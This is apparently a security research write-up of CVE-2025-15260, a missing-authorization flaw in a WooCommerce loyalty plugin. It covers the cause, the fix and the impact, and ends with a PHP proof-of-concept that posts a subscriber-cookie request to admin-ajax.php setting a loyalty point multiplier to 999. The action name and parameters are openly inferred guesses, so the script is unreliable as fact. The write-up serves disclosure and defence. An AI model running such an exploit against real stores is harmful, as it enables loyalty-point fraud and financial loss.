Atomic Edge analysis of CVE-2025-15260 (metadata-based):
This vulnerability is a missing authorization flaw in the MyRewards for WooCommerce plugin. The flaw allows authenticated users with subscriber-level permissions or higher to arbitrarily modify the plugin’s loyalty program earning rules. The vulnerability resides in an AJAX handler function, enabling unauthorized data manipulation.
Atomic Edge research infers the root cause is an AJAX callback function that lacks a proper capability check. The CWE-862 classification confirms the plugin fails to verify a user’s authorization before processing a request to modify loyalty rules. Without reviewing the source code, this conclusion is based on the vulnerability description’s explicit mention of a missing authorization check in the ‘ajax’ function. The plugin likely uses a WordPress AJAX hook, such as `wp_ajax_{action}`, that processes requests from any authenticated user.
Exploitation requires an attacker to possess a valid WordPress account with at least subscriber privileges. The attacker would send a crafted POST request to the standard WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`. The request must specify the vulnerable AJAX action parameter, which Atomic Edge analysis infers is likely prefixed with the plugin slug, such as `woorewards_` or `lws_woorewards_`. The payload would contain parameters to create, update, or delete a loyalty rule, including fields to set point multipliers to arbitrary values.
The remediation likely involves adding a capability check within the vulnerable AJAX callback function. The patched version should verify the current user has the appropriate administrative capability, such as `manage_woocommerce` or a custom capability, before allowing any modification to loyalty rules. The fix may also include implementing a nonce check, though the primary flaw is the missing authorization.
Successful exploitation directly impacts the integrity of the WooCommerce store’s loyalty program. An attacker can create or modify earning rules to award excessive points, devalue the points system, or delete rules entirely. This manipulation can lead to financial loss for the store owner through fraudulent point redemptions, damage to customer trust, and disruption of the intended loyalty program mechanics. The CVSS vector scores a high impact on integrity (I:H) with no direct impact on confidentiality or availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15260 - MyRewards – Loyalty Points and Rewards for WooCommerce <= 5.6.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Loyalty Rule Modification
<?php
/**
* Proof of Concept for CVE-2025-15260.
* This script demonstrates unauthorized modification of loyalty rules.
* ASSUMPTIONS:
* 1. The vulnerable AJAX action name is inferred from common plugin patterns.
* 2. The exact parameter structure for rule modification is unknown but assumed to include 'id' and 'multiplier'.
* 3. A valid WordPress subscriber (or higher) session cookie is required.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$wordpress_cookie = 'wordpress_logged_in_abc123=...'; // CHANGE THIS: Valid auth cookie
// The AJAX action is inferred. Common patterns include 'woorewards_edit_rule' or 'lws_woorewards_save_rule'.
// The exact action name is not confirmed without source code.
$inferred_ajax_action = 'woorewards_save_rule';
$post_data = array(
'action' => $inferred_ajax_action,
// Assumed parameters for modifying a rule. Structure is speculative.
'rule_id' => '1', // ID of an existing rule to modify
'rule_type' => 'point_multiplier',
'point_multiplier' => '999', // Arbitrary high value
'rule_title' => 'Exploited Rule',
'status' => 'publish'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Cookie: ' . $wordpress_cookie,
'Content-Type: application/x-www-form-urlencoded'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// A successful exploitation might return a JSON success message or rule ID.
?>
